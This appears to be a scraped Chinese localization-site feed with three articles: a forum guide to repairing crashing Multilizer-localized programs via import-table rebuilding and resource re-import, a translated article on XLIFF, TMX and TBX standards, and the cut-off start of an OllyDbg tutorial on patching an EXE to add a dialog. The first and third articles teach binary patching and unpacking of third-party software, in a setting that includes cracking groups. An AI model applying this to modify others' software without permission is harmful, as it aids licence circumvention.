<description>原题目： Multilizer汉化软件后无法运行问题的解决 , 仅以此帖与我一样的菜鸟分享 Multilizer(简称MU)是一款功能强大的跨平台汉化工具，从原来的5.0版到现在的6.0.421版，功能上也作了不少的改善，如可预览窗体，对低版本方案的兼容等等，相信和我一样使用MU </description>
<text>&amp;nbsp;
原题目：Multilizer汉化软件后无法运行问题的解决, 仅以此帖与我一样的菜鸟分享
&amp;nbsp;
Multilizer(简称MU)是一款功能强大的跨平台汉化工具，从原来的5.0版到现在的6.0.421版，功能上也作了不少的改善，如可预览窗体，对低版本方案的兼容等等，相信和我一样使用MU的人都不会陌生，当然在使用MU过程所遇到的问题肯定也不少，其中最为困扰的莫过于MU汉化后生成的文件无法运行，出错的提示，不是缺少DLL文件，就是无法初始化窗口。　　换个汉化工具？不是吧？还要从新摸索新工具？不太现实，因为毕竟专职的汉化者不多，对于我们这样业余汉化者来说，一来时间上不充裕；二来原来积累起来的MU方案，弃之不用？两个字：可惜！用字典工具转换？还是两个字：麻烦！　　前些日子有幸得到吕达嵘前辈提点，困惑了几个月的MU问题一下子豁然开朗了，特草此帖，与偶一样的菜鸟分享，不当之处敬请批评指正　:-)　　方法一：　　输入表修复法　　　　虽然牙缝已经在论坛中简要介绍了输入表修复法，但相信还有一部分人还处于困惑之中，特以SWISHstudio 1.5ENU为例，简单讲讲，希望不会怡笑大方:-)　　用MU构建本地化项目生成的程序用替换原英文主程序，运行出错界面如图1所示，　　 附图 
而原英文程序运行正常，如图2所示： 附图 
问题出在哪里呢？？　　废话少说，我们开始用输入表修复法试试。　　首先打开原英文程序，接着打开Import REConstructor（如图3所示），选择运行中的原英文程序(图3A)，软件日志栏中会自动载入软件调用的模块(图3B)，待完毕后点击&amp;ldquo;IAT自动搜索&amp;rdquo;(图3C)。 附图 
弹出对话框如图4所示： 附图 
点&amp;ldquo;确定&amp;rdquo;后，回到软件界面，此时点击&amp;ldquo;获得输入信息&amp;rdquo;(图5A)，日志栏立即显示获取的输入表信息(图5B)。 附图 
OK！有了原英文软件的输入信息，下面我们要做就是修复MU汉化后无法运行的程序。　　如果我们要新建输入信息，可以将默认选中&amp;ldquo;一个新的块&amp;rdquo;前的钩去除。　　这里我们选用默认值，点击&amp;ldquo;修理抓取文件&amp;rdquo;(图5C)，选取刚才无法运行的汉化后的程序（如图6所示）。 附图 
操作完毕，日志栏提示操作成功（图7） 附图 
好了，我们再试试刚才无法运行的汉化后的程序，如图8所示，运行正常，搞定！ 附图 
方法二：　　CAT导入法
呵呵，当然楼上的方法一也不是万能的，比如莫尼卡的Game maker 6 、星风雪的案例对应的那款软件，还有偶看手上汉化的这个款BetterJPEG，用了输入表修复法，问题仍然如故（图1）：　　 附图  
真的要放弃MU换用工具吗？回答当然不用说了呢！NO不过为何不能把其他汉化工具做修复手段呢？　　看了方法二的名称，大家应该想到什么工具了吧？恭喜你答对了，偶要借助的工具就是Alchemy CATALYST （以下简称CAT）。　　如果你不会用CAT，不要紧，偶也不太会，不过你只要会简单的几步就可以了：-）　　随我来吧！先打开CAT，登记名称后，选择菜单上的&amp;ldquo;文件&amp;rdquo;==&amp;gt;打开&amp;rdquo;==&amp;gt;选取要汉化原英文程序（图2），注意文件类型为&amp;ldquo;所有文件&amp;rdquo;。 附图 
&amp;nbsp;
CAT自动读取了软件资源，此时我们不用一个一个进行翻译，在软件资源预览框选取汉化的软件，点右键选择&amp;ldquo;导入翻译&amp;rdquo;（图3）导入刚才MU汉化但输入表修复法处理后仍然无法运行的程序。 附图 
导入完毕，CAT会提示操作完成，如图4,此时软件已经汉化完毕（因为导入的用MU汉化的资源）。 附图 
OK！再次在软件资源预览框选取汉化的软件&amp;egrave;打开菜单栏上的&amp;ldquo;文件&amp;rdquo;==&amp;gt;提取和验证&amp;rdquo;==&amp;gt;选择提取文件的保存路径，如图6所示： 附图 
按下&amp;ldquo;保存&amp;rdquo;后，CAT自动弹出对话框，一路&amp;ldquo;确定&amp;rdquo;到完毕，当然不要忘了指定一下生成报告的路径。 附图 
待上述操作完成后，CAT会自动运行汉化后的程序，一切正常，如图8所示，我们可以关闭监视模式，至此解决了MU汉化后无法运行的程序。 附图 
方法二：　　FreeRes处理法
先用FreeRes强行处理怀疑有问题的文件，然后再由MU进行汉化，尽管会导致文件增大，但是却相当简单易用，对于不懂汇编知识的朋友是个可行的方法，&amp;quot;歪招&amp;quot;有时候有&amp;ldquo;曲径通幽&amp;rdquo;之妙，具体操作略....
后语：　　对于MU汉化后无法运行程序的问题可能多种多样，依软件类型而定，上述的方法不能一一涵盖。　　另于方法二，大家可能会有异议，明明用CAT汉化的，为何偏偏和MU扯上关系？　　偶以为在软件汉化过程中，主要的汉化工具是MU，CAT只是用来解决MU汉化后存在问题的工具，这不是办法的办法也是一种办法。SO...... 
&amp;nbsp;
第一个方法是修复输入表第二个就是catalyst的导入（这个有点像以前利用MU的导入功能啊）
有所启发，介于 passolo 生成可运行文件的几率比 MU 更低，同理可以参照以上方法  
乾注：作者的原题目容易让人误解是MU导致的错误，事实上应该是脱壳导致工具识别的问题，这个问题以前往往多出现在VL等工具上。只是最近若干软件都出现脱壳后运行正常，但是汉化后运行不正常的情况，因此有了上面的讨论。另外的第三种方法，就是论坛上提到的歪招：先用FreeRes强行处理怀疑有问题的文件，然后再由MU进行汉化，尽管会导致文件增大，但是却相当简单易用，对于不懂汇编知识的朋友是个可行的方法。 </text>
<image>http://www.youjoys.cn/uploads/allimg/c110923/131C40PY10-25638_lit.gif </image>
<keywords>汉化新世纪,--,最专业的汉化原创 </keywords>
<category>编程知识 </category>
<author> </author>
<source> </source>
<pubDate>2011-09-23 09:23 </pubDate>
</item>
<item>
<title>本地化中的 XML: 实用分析 </title>
<link>http://www.youjoys.cn/knowledge/20110923/412.html </link>
<description>本地化中的 XML: 实用分析 与本地化行业关系最密切的 XML 标准概述 , 产品开发主管, Heartsome Holdings Pte. Ltd. 2004 年 9 月 01 日 了解 XML 标准如何帮助改进涉及到不同地点的多个参与者的翻译过程。本文主要讨论本地化行业中最常用的 XML 格式，并说明 </description>
<text>
本地化中的 XML: 实用分析
与本地化行业关系最密切的 XML 标准概述

, 产品开发主管, Heartsome Holdings Pte. Ltd.
2004 年 9 月 01 日
了解 XML 标准如何帮助改进涉及到不同地点的多个参与者的翻译过程。本文主要讨论本地化行业中最常用的 XML 格式，并说明 XML 为何在多语言文档交换中变得越来越重要。
谋求在国外市场运作的任何公司都知道语言技术对于成功至关重要。合同、产品手册、小册子、广告战以及其他与公众沟通相关的每一件事，都必须适应、调整以便符合进行商业运作的不同地区的不同文化。
本文介绍了 XML 在本地化中的应用，目的是为以后的文章打下基础，后面我们将介绍相关 XML 标准的技术细节。

本地化项目需要经过多个步骤，涉及到多个参与者。
图 1 所示的传统过程包括 5 个阶段（图中的蓝色框表示发生在内部的过程，黄色框表示翻译机构完成的任务）。
 
第一个阶段是创建需要翻译的文档。比如，典型的软件产品可能包括：

    保存在 RC 文件（C/C++ 资源文件）中的程序 GUI。 
    用桌面出版软件编写的产品手册。 
    HTML 格式的帮助文件。 
    PDF 格式的手册。 

其他类型的产品如电器或者汽车可能没有 RC 文件，但会有其他需要翻译的内容，如复杂的网站、幻灯片或者广告脚本。
文档准备好后就发送给翻译机构或者几位独立的译者。这个阶段在 中标为&amp;ldquo;翻译提供者&amp;rdquo;。 
通常可能需要翻译多种文档格式，这样就可能带来两个问题：

    不是所有的翻译机构都能处理所有的格式。 
    一种格式的部分文本可能与另一种格式重复（比如上例中的 HTML 帮助文件和产品手册）。如果出现这种情况就可能要为翻译付双倍的价钱。 

如果要降低成本，第一种选择就是减少文档格式的数量。
翻译之后的文档通常需要重新格式化：不同语言的文本长度也不同，因此手册或者合同常常需要调整。这个阶段称为译后桌面出版。这一阶段通常由翻译机构或者第三方专家完成，这是因为通常这些专家配备处理多种语言的工具。
重新格式化后的文档应该经过翻译人员的审查，以避免 DTP 操作人员偶然造成的错误。完成必要的纠错之后，翻译文档最后提交给制造商。


    
        
            
            
            
                
                    
                        
                        翻译是把文本呈现为另一种语言的动作。 
                        本地化是一种特殊的翻译，要考虑到翻译文本所用的地方或者区域的文化。 
                        比方说，尽管英国和美国都说英语，但大西洋两岸的措词却有很大不同。比如&amp;ldquo;本地化&amp;rdquo;在英国拼写为&amp;ldquo;localisation&amp;rdquo;，而美国拼写为&amp;ldquo;localization&amp;rdquo;。
                        有时候&amp;ldquo;本地化&amp;rdquo;一词特指软件产品的翻译。这样说不够精确，因为并非所有的软件本地化项目都考虑到目标语言的变化。
                        
                    
                
            
            
        
    


将翻译问题交给第三方专业机构的传统做法有可能造成成本膨胀，并且不必要地增加项目的复杂性。
引发的另一个问题是要把机密信息透露给翻译人员。公司是否要透露自己的源代码呢？这是一个难以决定的问题，但管理人员通常认为较好的做法是，只向翻译机构提供需要翻译的文本，并尽量减少提供上下文所需要的机密信息的数量。


    
        
            
        
    


    
        
            
            
                
                    
                        
                        
                    
                
            
            
        
    



下面是另一种运作过程：

    从原始文档中抽取所有可以翻译的文本。 
    将抽取的字符串保存为特殊的 XML 文档。 
    将需要翻译的 XML 文档发出。 
    从 XML 文档中抽取翻译后的字符串并重新插入原始文档。 

使用这种方法，公司可以对本地化的过程及其各个组成部分进行更多的控制。此外，在文本抽取过程中采用好的计算机辅助翻译（CAT）工具可以减少译后 DTP 的需要。
图 2 总结了上面所述的步骤。
 
第二个阶段（&amp;ldquo;翻译准备&amp;rdquo;）包括把字符串转化成专门的 XML 词汇表，以及重用已有的翻译。这项工作可以使用 CAT 工具或定制的文本过滤器来完成。
翻译机构返回翻译后的 XML 文档后，所有的字符串都重新插入原始文档。这个过程称为 逆转换，可以使用与步骤 1 中相同的工具完成。 


    
        
            
        
    


    
        
            
            
                
                    
                        
                        
                    
                
            
            
        
    



上述过程并非什么新东西。很多软件公司都遇到过多种文档格式所造成的问题，并寻找一种基于 XML 的解决方案。
2001 年，几家 IT 公司（包括 Novell、Oracle、Sun 和 IBM）组织了一个技术委员会起草 XML Localisation Interchange File Format（XML 本地化交换文件格式，XLIFF）规范，该规范于 2002 年由 Organization for the Advancement of Structured Information Standards（结构化信息标准促进组织，OASIS）正式发布。 

XLIFF 的一个优点是相对比较简单。XLIFF 文件可以描述成 翻译单元的集合。每个翻译单元包含从原始文档中抽取的一个句子或者一个段落，原始文本放在 &amp;lt;source&amp;gt; 元素中，翻译人员需要用适当的翻译文本填充 &amp;lt;target&amp;gt; 元素。 
以前项目中的遗留翻译结果可以使用 &amp;lt;alt-trans&amp;gt; 元素增加到新的翻译单元中。有时候 &amp;lt;alt-trans&amp;gt; 元素中的翻译是正确的，则所有翻译人员必须接受建议的文本。 
图 3 说明了翻译单元中不同成分之间的关系。
 
清单 1 是一个实际的翻译单元：


    
        
            
            &amp;lt;trans-unit approved=&amp;quot;no&amp;quot; id=&amp;quot;1&amp;quot; resname=&amp;quot;res1&amp;quot; xml:space=&amp;quot;preserve&amp;quot;&amp;gt;     &amp;lt;source xml:lang=&amp;quot;en&amp;quot;&amp;gt;Corporate Headquarters&amp;lt;/source&amp;gt;     &amp;lt;target xml:lang=&amp;quot;es&amp;quot;&amp;gt;Casa Central de la Compa?&amp;iacute;a&amp;lt;/target&amp;gt;     &amp;lt;alt-trans match-quality=&amp;quot;100&amp;quot; origin=&amp;quot;web&amp;quot; tool=&amp;quot;TM Search&amp;quot;&amp;gt;         &amp;lt;source xml:lang=&amp;quot;en&amp;quot;&amp;gt;Corporate Headquarters&amp;lt;/source&amp;gt;         &amp;lt;target xml:lang=&amp;quot;es&amp;quot;&amp;gt;Casa Central de la Compa?&amp;iacute;a&amp;lt;/target&amp;gt;     &amp;lt;/alt-trans&amp;gt;     &amp;lt;alt-trans match-quality=&amp;quot;92&amp;quot; origin=&amp;quot;web&amp;quot; tool=&amp;quot;TM Search&amp;quot;&amp;gt;         &amp;lt;source xml:lang=&amp;quot;en&amp;quot;&amp;gt;&amp;quot;Corporate Headquarters&amp;quot;&amp;lt;/source&amp;gt;         &amp;lt;target xml:lang=&amp;quot;es&amp;quot;&amp;gt;&amp;quot;Casa Central de la Compa?&amp;iacute;a&amp;quot;&amp;lt;/target&amp;gt;     &amp;lt;/alt-trans&amp;gt; &amp;lt;/trans-unit&amp;gt;
            
        
    


图 4 是 XLIFF 编辑器的具体实现，其中包括源文本、目标文本和建议的翻译。
 
关于这种格式的更多信息请参阅 中到 XLIFF 规范的链接。 

XLTFF 文件 &amp;lt;alt-trans&amp;gt; 元素中的可选译文从 译文记忆(TM) 数据库提取。译文记忆是一种语言技术，允许通过在数据库中搜索类似的片段（句子、段落或者短语）和建议的匹配来翻译文档片段。比如，可以通过将从 XLIFF 文件中翻译过来的 &amp;lt;source&amp;gt;/&amp;lt;target&amp;gt; 对保存在关系数据库或专门设计的 TM 服务器中来创建 TM。 
技术手册、法律合同和公司网站常常包含在不同版本中重复出现的文本。因此维护一个 TM 数据库并尽量使用其中的内容是一种好办法。良好的 TM 系统可以显著降低本地化项目的成本。
Open Standards for Container/Content Allowing Re-use (OSCAR)组定义了 TMX公共标准，在使用不同 CAT 工具或者翻译提供程序时可以更有效地重用译文。 
TMX 网站上指出：
TMX （译文记忆交换，Translation Memory eXchange）是一种厂商中立的开放式 XML 标准，用于交换使用计算机辅助翻译（CAT）和本地化工具创建的译文记忆（TM）数据。TMX 的目标是减缓不同工具和/或翻译机构之间译文记忆数据的交换，在交换过程中减少或者避免重要数据的损失。
XLIFF 和 TMX 两种规范都包含以 XML 格式存储源文档格式化信息所需要的全部元素。好的 CAT 工具使翻译人员在翻译丰富文本格式（RTF）文档时能够重用 HTML 页面中的句子，同时又不改变文本布局。这正是为何要用 TMX 格式补充 XLIFF 的主要原因。
与 XLIFF 文件类似，TMX 文件也由翻译单元组成。每个单元用 &amp;lt;tu&amp;gt; 元素表示，至少包含两个 翻译单元变体或者 &amp;lt;tuv&amp;gt; 元素。每个 &amp;lt;tuv&amp;gt; 元素给出了相应语言的文本。清单 2 是 的候选译文。 


    
        
            
            &amp;lt;tu tuid=&amp;quot;1090682451312&amp;quot; creationdate=&amp;quot;20040313T224601Z&amp;quot;&amp;gt;     &amp;lt;tuv xml:lang=&amp;quot;en&amp;quot;&amp;gt;        &amp;lt;seg&amp;gt;Corporate Headquarters&amp;lt;/seg&amp;gt;     &amp;lt;/tuv&amp;gt;     &amp;lt;tuv xml:lang=&amp;quot;es&amp;quot;&amp;gt;        &amp;lt;seg&amp;gt;Casa Central de la Compa?&amp;iacute;a&amp;lt;/seg&amp;gt;     &amp;lt;/tuv&amp;gt; &amp;lt;/tu&amp;gt;
            
        
    


本文附带的 .zip 文件包含完整的 XLIFF 和 TMX 例子（请参阅 ）。 
XLIFF 和 TMX 都是 XML 词汇表，因此可以使用 XSL 转换将 XLIFF 文件转化成 TMX 格式。（请参阅 中到 Okapi Framework 的链接，Okapi Framework 是一组 XSL 工具，用于增强对与翻译相关的 XML 资料的操作。） 
译文记忆是宝贵的财产。本地化项目完成后，所有的译文都应该存放到公司维护的记忆中。这样公司就可以逐渐增加每个项目中重用文本的比例。


    
        
            
        
    


    
        
            
            
                
                    
                        
                        
                    
                
            
            
        
    



术语表是一组带有含义解释的专用术语，也可能包含术语的翻译。 
合同和技术手册通常都包含在特定上下文中具有特殊含义的术语。文档交给翻译人员时通常都伴有术语表，如果术语表中包含推荐的译法，翻译人员就应该采用推荐的译法。
术语表可以采用多种格式编写。如果仅仅列出术语和译文，两栏的电子表格就足够了。但是如果公司关注术语的一致性，简单的列表就不够了。
必须反复强调，一些术语的含义仅限于给定的上下文。术语表中的表项应该包含对每种可能出现的上下文的说明、所涉及的每种语言的推荐译法以及负责文档的人员要求的任何附加属性。没有好的术语表，翻译人员就可能把复杂的技术手册翻译成毫无用处的文档。
如果要为翻译人员或者翻译机构提供可用的术语表，必须采用适当的格式。编写 TMX 标准的 OSCAR 组同时还建立了 TermBase eXchange (TBX)规范，这种基于 XML 的通用格式被普遍接受为标准。 
TermBase 或者术语数据库是一种特殊的术语表，其中的术语按照用户定义的属性被分成几类。TBX 是一种可选的术语数据库内容 XML 表示。
从技术上讲，TBX 是一种 术语标记框架（TMF），是与 ISO 12200 标准（被称为 MARTIF）兼容的标记语言。 
与 TMX、XLIFF 类似，TBX 提供了不同术语工具之间的可移植性，允许在一定程度上独立于工具提供商。


    
        
            
        
    


    
        
            
            
                
                    
                        
                        
                    
                
            
            
        
    



翻译普通的散文时译文的长度一般不重要。比如，德语句子通常比英文文本要长，短篇小说的德语版比英语版长一两页没有什么关系。
应用最广泛的编程语言是 C 和 C++。在 C/C++ 中，GUI 文本通常保存在 资源文件中，这种扁平文本文件有利于提取文本进行翻译。但是，作者（或者可视化工具）根据原始语言中文本的长度定义了对话窗口的大小。如果翻译之后文本的长度改变了，就会影响到窗口的布局。如果翻译后的标签比原来长，文本可能被截掉；如果翻译后的文本短了，对话框中可能出现多余的空白。 
所幸的是，XLIFF 标准包含有的属性允许指定对话框中字符串的位置、文本所用的字体和字号以及其他很多细节。可以使用专门为软件本地化设计的工具在翻译的过程中可视地调整对话框布局。
Java 技术是 C/C++ 之后应用最广的语言，而且它是为促进软件国际化设计的。 准备本地化的 Java 应用程序将 GUI 文本存储在 资源包中，与 C/C++ 类似，这也是一些扁平文本文件，因此提取文本非常简单。但是与 C/C++ 相比，Java 技术有一个优点&amp;ldquo;GUI 对象可以在执行期间根据所含文本长度动态调整。这种特性是 Java 语言成为开发多语言应用程序的最佳选择之一。 


    
        
            
        
    


    
        
            
            
                
                    
                        
                        
                    
                
            
            
        
    



本地化和全球化的各个方面都紧密地依赖于采用的技术。这篇入门文章简要介绍了本地化过程中关系最为密切的 XML 标准： XLIFF、TMX 和 TBX，并说明了各自的用法。XML 技术不是一种新东西，但富有想像力地将其用于翻译工作正逐步引起人们的兴趣，不再局限于大型公司环境，而进入谋求在全球市场中取得成功的小型企业的视野。
下一篇文章将详细探讨使用 Java 技术实现 XLIFF 和常见文件格式之间的来回转换，如扁平文本文件或者 HTML。我将介绍一种用于 Java 资源包的完备的转换工具。


    
        
            
        
    


    
        
            
            
                
                    
                        
                        
                    
                
            
            
        
    





    
        
            名字
            大小
            下载方法
        
        
            x-localis-examples.zip
            27KB
            &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 
        
    


    
        
            
        
        
            
            
            
            
            
        
    



    
        
            
        
    


    
        
            
            
                
                    
                        
                        
                    
                
            
            
        
    




    您可以参阅本文在 developerWorks 全球站点上的 . 
    下载  文件，其中包括：
    
        一篇用英文撰写的关于一位著名中国翻译家的短篇故事，XHTML 格式。 
        部分翻译成西班牙语的 XLIFF 文档。 
        将这篇故事转换成 XLIFF 所用的多语言（6 种）TMX 记忆。 
    
    
    阅读 ，该规范定义了 XML 本地化交换文件格式（XLIFF）。该词汇表的目标是存储可本地化的数据并从本地化过程的一个阶段带入另一个阶段, 同时支持不同工具间的互操作性。 
    进一步了解翻译记忆交换（TMX）格式请阅读 。这种格式提供了在不同工具和/或翻译厂商之间描述翻译记忆数据的标准方法，并减少或避免这一过程中重要数据的损失。 
    从 下载功能齐全的 XLIFF 和 TMX 免费编辑器。这些多平台的 Java 工具可以在 Windows、Linux 和 Mac OSX 上运行。 
    阅读&amp;ldquo; &amp;rdquo;（XLIFF 技术委员会，2003 年 7 月）。它提供了关于 XLIFF 标准的历史、体系结构和用法等方面的有用信息，非常有趣。 
    请在 站点上访问 OSCAR Group，其中包括 。 
    阅读&amp;ldquo; &amp;rdquo;（ developerWorks，2001 年 7 月），该文为面向全球市场从事 Web 应用程序开发的人员提供了丰富的资料。 
    提供了一些可用于处理或表示 XLIFF、TMX 和其他 XML 文档的 XSL 模板。 
    在 developerWorks 可以找到各种关于 XML 的书籍，包括 Yves Savourel 所著的 。 
    阅读 ，可以找到关于在国际化和本地化中使用 XML 的多数常见问题的答案。 
    在 可以找到更多的 XML 资源。 
    了解如何才能成为一名 。 



    
        
            
        
    


    
        
            
            
                
                    
                        
                        
                    
                
            
            
        
    





    
        
            
        
        
            
            
            
            
            
            Rodolfo Raya 是 Heartsome Holdings 公司的 XML 专家，该公司使用 XML 和 Java 技术开发多平台翻译/本地化和内
            
        
    



声明：本文引自，版权归原出处所有。
 </text>
<image>http://www.youjoys.cn/uploads/allimg/c110923/131C40ZE20-1W157_lit.gif </image>
<keywords>汉化新世纪,--,最专业的汉化原创 </keywords>
<category>编程知识 </category>
<author> </author>
<source> </source>
<pubDate>2011-09-23 09:23 </pubDate>
</item>
<item>
<title>用 OD 给 EXE 文件添加一个对话框初探 </title>
<link>http://www.youjoys.cn/knowledge/20110923/413.html </link>
<description>【文章标题】: 用OD给exe文件添加一个对话框初探 【文章作者】: CxLrb 【作者邮箱】: 【作者主页】: 【作者QQ号】: 21252130 【软件名称】: Pe_optimizer1.4汉化版by.CxLrb 【下载地址】: 自己搜索下载 【使用工具】: OD,HexDecChar,XN Resource Editor 【作 </description>
<text>【文章标题】: 用OD给exe文件添加一个对话框初探【文章作者】: CxLrb【作者邮箱】: 【作者主页】: 【作者QQ号】: 21252130【软件名称】: Pe_optimizer1.4汉化版by.CxLrb【下载地址】: 自己搜索下载【使用工具】: OD,HexDecChar,XN Resource Editor【作者声明】: 只是感兴趣，没有其他目的。失误之处敬请诸位大侠赐教!--------------------------------------------------------------------------------【详细过程】&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;也许你正想者diy一个可执行文件，给一个汉化好的文件加上自己的对话框，或者直接加上帮助文本，或者显示破解&amp;nbsp;&amp;nbsp;组织信息。总之是为一个exe文件添加一个对话框，功能类似关于窗口。在此举一个例子供大家参考，实际没什么意义，&amp;nbsp;&amp;nbsp;但仅仅是出于兴趣和技术探讨，给大家分享我的成功喜悦！&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;我们以Pe_optimizer1.4 (以下简称PO)这个小程序为例来学习：&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;1.预备知识----对话框响应原理：&amp;nbsp;&amp;nbsp;当我们按下界面上的一个菜单或者一个按钮时，DialogBoxParamA会调用窗口回调函数来处理，即把包含菜单命令&amp;nbsp;&amp;nbsp;的信息作为参数送给窗口回调函数，因为一般界面中菜单或按钮有多个，所以很明显会有下面的类型的代码：&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cmp&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;ebx, xxxx1&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;比较按下的按钮ID是否等于xxxx1&amp;nbsp;&amp;nbsp;jnz&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;short xxxxxxxx1&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;如果不是，跳过继续判断，xxxxxxxx1为下一个比较的地址&amp;nbsp;&amp;nbsp;call&amp;nbsp; &amp;nbsp; xxxxxxxx1&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;如果是，调用该按钮响应的操作&amp;nbsp;&amp;nbsp;cmp&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;ebx, xxxx2&amp;nbsp;&amp;nbsp;jnz&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;short xxxxxxxx2&amp;nbsp;&amp;nbsp;call&amp;nbsp; &amp;nbsp; xxxxxxxx2&amp;nbsp;&amp;nbsp;.....................&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;或者&amp;nbsp;&amp;nbsp;cmp eax,xxxx1&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;比较点击的菜单ID是否等于xxxx1&amp;nbsp;&amp;nbsp;jz xxxxxxxx1&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;如果是，调用该按钮响应的操作&amp;nbsp;&amp;nbsp;cmp eax,xxxx2&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;不是，继续判断&amp;nbsp;&amp;nbsp;jz xxxxxxxx2&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;...................&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;或者 &amp;nbsp;&amp;nbsp;cmp ax,xxxx1&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;比较点击的菜单ID是否等于xxxx1&amp;nbsp;&amp;nbsp;jz xxxxxxxx1&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;如果是，调用该按钮响应的操作&amp;nbsp;&amp;nbsp;cmp ax,xxxx2&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;不是，继续判断&amp;nbsp;&amp;nbsp;jz xxxxxxxx2&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;...................&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;也许还有其他形式，但总会类似以上列举的几种。&amp;nbsp;&amp;nbsp;本文的例子就是第一种情况。&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2. 添加资源按钮和对话框资源&amp;nbsp;&amp;nbsp;我们用XN Resource Editor 3.0 来打开，然后在主界面对话框上添加一个按钮，ID改为505 (16进制1F9)；&amp;nbsp;&amp;nbsp;然后再添加一个对话框，将对话框的资源名（其实就是ID）称改为103 （16进制67），再在103对话框上添加&amp;nbsp;&amp;nbsp;一个按钮，ID与关于对话框中关闭的ID (即505)相同即可。最后保存关闭。&amp;nbsp; &amp;nbsp;运行程序看看，已经出现添加的按钮，但点击不会出现我们添加的对话框，因为还没有响应代码。&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;3. 添加响应代码。&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;我们用OD载入PO，右键－》查找－》所有模块间的调用，在最后几行我们看到两了DialogBoxParamA这个函数&amp;nbsp;&amp;nbsp;找到的模块间的调用&amp;nbsp;&amp;nbsp;地址&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp; 反汇编&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;目标&amp;nbsp;&amp;nbsp;0040654E&amp;nbsp; &amp;nbsp;call&amp;nbsp; &amp;nbsp; &amp;lt;jmp.&amp;amp;GDI32.CreateFontA&amp;gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp; GDI32.CreateFontA&amp;nbsp;&amp;nbsp;00406567&amp;nbsp; 